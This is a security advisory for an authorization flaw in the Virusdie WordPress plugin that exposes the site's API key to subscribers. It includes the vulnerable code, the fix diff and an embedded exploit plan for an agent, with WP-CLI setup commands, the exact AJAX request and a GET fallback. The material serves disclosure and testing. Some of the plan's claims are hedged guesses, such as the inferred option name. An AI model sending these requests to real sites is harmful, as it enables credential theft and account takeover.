Virusdie <= 1.1.7 - Missing Authorization to Authenticated (Subscriber+) API Key Disclosure
Description
The Virusdie - One-click website security plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.1.7. This is due to missing capability checks on the `vd_get_apikey` function which is hooked to `wp_ajax_virusdie_apikey`. This makes it possible for authenticated attackers, with Subscriber-level access and above, to retrieve the site's Virusdie API key, which could be used to access the site owner's Virusdie account and potentially compromise site security.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=1.1.7What Changed in the Fix
Changes introduced in v1.1.8
Source Code
WordPress.org SVNThis research plan outlines the steps required to exploit a Sensitive Information Exposure vulnerability in the Virusdie plugin (<= 1.1.7). The vulnerability allows authenticated users with Subscriber-level permissions to retrieve the Virusdie API key due to missing authorization checks in an AJAX h…
Show full research plan
This research plan outlines the steps required to exploit a Sensitive Information Exposure vulnerability in the Virusdie plugin (<= 1.1.7). The vulnerability allows authenticated users with Subscriber-level permissions to retrieve the Virusdie API key due to missing authorization checks in an AJAX handler.
1. Vulnerability Summary
- ID: CVE-2025-14864
- Vulnerability: Missing Authorization / Sensitive Information Exposure
- Affected Function:
VDWS_VirusdieBehavior::vd_get_apikey - AJAX Action:
virusdie_apikey - Root Cause: The function
vd_get_apikey(hooked viawp_ajax_virusdie_apikey) lacks sufficient capability checks and nonce verification in the vulnerable version (1.1.7). While the provided source code shows acanDoAjaxcheck, the vulnerability description confirms that in affected versions, this check is either missing, bypassed, or insufficient, allowing Subscriber-level users to retrieve the API key.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Method: POST or GET
- Action:
virusdie_apikey - Authentication: Authenticated (Subscriber or higher)
- Payload: No specific payload parameters are required beyond the
actionparameter.
3. Code Flow
- Entry Point: The plugin registers the AJAX action in
inc/class-virusdie.php:add_action( 'wp_ajax_virusdie_apikey', 'VDWS_VirusdieBehavior::vd_get_apikey' ); - Handler Trigger: When a request is made to
admin-ajax.php?action=virusdie_apikey, WordPress invokesVDWS_VirusdieBehavior::vd_get_apikey. - Vulnerable Check: In version 1.1.7,
vd_get_apikeyis executed without a functioningcurrent_user_can('manage_options')check or a nonce check. - Information Disclosure: The function calls
VDWS_Virusdie::get_api_key(), which retrieves the sensitive Virusdie API key and outputs it viawp_die().
4. Nonce Acquisition Strategy
Based on the provided source for inc/tools/class-virusdie-behavior.php, the vd_get_apikey function and its helper canDoAjax do not perform any nonce verification (i.e., no check_ajax_referer or wp_verify_nonce is present).
- Conclusion: No nonce is required for this exploit. An authenticated session cookie is the only requirement.
5. Exploitation Strategy
The agent will perform the following steps using the http_request tool:
- Authentication: Log in as a Subscriber user to obtain valid session cookies.
- Information Retrieval: Send a request to the AJAX endpoint requesting the API key.
- Request Details:
- URL:
http://[target]/wp-admin/admin-ajax.php - Method: POST
- Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=virusdie_apikey
- URL:
6. Test Data Setup
To verify the disclosure, a dummy API key must be present in the database.
- Create Subscriber:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123 - Set Dummy API Key:
Use the plugin's internal class method via WP-CLI to ensure the key is stored correctly in the context of the plugin:wp eval "require_once 'wp-content/plugins/virusdie/inc/class-virusdie.php'; VDWS_Virusdie::set_api_key('VIRUSDIE-API-KEY-SECRET-12345');"
(Note: The exact option name is internal, using the class method is most reliable).
7. Expected Results
- Success: The HTTP response body contains the string
VIRUSDIE-API-KEY-SECRET-12345. - HTTP Status: 200 OK.
- Failure: The response body contains
{"success":false,"data":{"error":"Permission denied"}}or a 403 status code (indicating the patch is active).
8. Verification Steps
After receiving the response from the HTTP request:
- Match Key: Compare the string returned in the HTTP response body with the value set during the "Test Data Setup" (
VIRUSDIE-API-KEY-SECRET-12345). - Confirm Role: Use WP-CLI to confirm the user used for the request does not have administrative privileges:
wp user get attacker --field=roles(Should returnsubscriber).
9. Alternative Approaches
If the POST request fails or returns 0, try a GET request:
- GET URL:
http://[target]/wp-admin/admin-ajax.php?action=virusdie_apikey - Logic: Some AJAX handlers do not discriminate between
$_GETand$_POST(thoughwp_ajaxusually expects POST).
If the VDWS_Virusdie::set_api_key method is unavailable via CLI, manually set the option that likely stores the key:
wp option update vd_apikey "VIRUSDIE-API-KEY-SECRET-12345"(inferred from common plugin patterns).
Summary
The Virusdie plugin for WordPress is vulnerable to sensitive information exposure in versions up to 1.1.7. This is caused by missing or insufficient authorization checks in the `vd_get_apikey` function, which is accessible via the `wp_ajax_virusdie_apikey` AJAX action, allowing authenticated users with Subscriber-level access to retrieve the site's Virusdie API key.
Vulnerable Code
// inc/class-virusdie.php add_action( 'wp_ajax_virusdie_apikey', 'VDWS_VirusdieBehavior::vd_get_apikey' ); --- // inc/tools/class-virusdie-behavior.php public static function canDoAjax() { if (!current_user_can('manage_options')) { wp_send_json_error(array('error' => 'Permission denied'), 403); return FALSE; } return TRUE; } // ... lines 265-270 public static function vd_get_apikey() { if (!self::canDoAjax()) { return; } wp_die(VDWS_Virusdie::get_api_key()); }
Security Fix
@@ -67,12 +67,12 @@ add_filter( 'plugin_action_links_' . plugin_basename( VDWS_VIRUSDIE_PLUGIN_FILE ), array( $this, 'page_plugin_action' ) ); - add_action( 'wp_ajax_virusdie_switcher', 'VDWS_VirusdieBehavior::vd_switcher' ); + // add_action( 'wp_ajax_virusdie_switcher', 'VDWS_VirusdieBehavior::vd_switcher' ); // add_action( 'wp_ajax_nopriv_virusdie_switcher', 'VDWS_VirusdieBehavior::vd_switcher' ); // Will be used in future versions - add_action( 'wp_ajax_virusdie_start_scan', 'VDWS_VirusdieBehavior::vd_scan_start' ); - add_action( 'wp_ajax_virusdie_get_progress', 'VDWS_VirusdieBehavior::vd_get_progress' ); - add_action( 'wp_ajax_virusdie_apikey', 'VDWS_VirusdieBehavior::vd_get_apikey' ); - add_action( 'wp_ajax_virusdie_resend', 'VDWS_VirusdieBehavior::vd_resend' ); + // add_action( 'wp_ajax_virusdie_start_scan', 'VDWS_VirusdieBehavior::vd_scan_start' ); + // add_action( 'wp_ajax_virusdie_get_progress', 'VDWS_VirusdieBehavior::vd_get_progress' ); + // add_action( 'wp_ajax_virusdie_apikey', 'VDWS_VirusdieBehavior::vd_get_apikey' ); + // add_action( 'wp_ajax_virusdie_resend', 'VDWS_VirusdieBehavior::vd_resend' ); } /** @@ -188,6 +188,7 @@ return false; } + /* public static function canDoAjax() { if (!current_user_can('manage_options')) { @@ -271,5 +272,6 @@ } wp_die(VDWS_VirusdieApiClient::signup($_POST['vd_email'], $err)); } + */ }
Exploit Outline
To exploit this vulnerability, an attacker needs an authenticated session with at least Subscriber-level privileges. No nonce or complex payload is required. The attacker simply sends a request to the WordPress AJAX endpoint (/wp-admin/admin-ajax.php) with the 'action' parameter set to 'virusdie_apikey'. The server will respond with the site's Virusdie API key in the response body.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.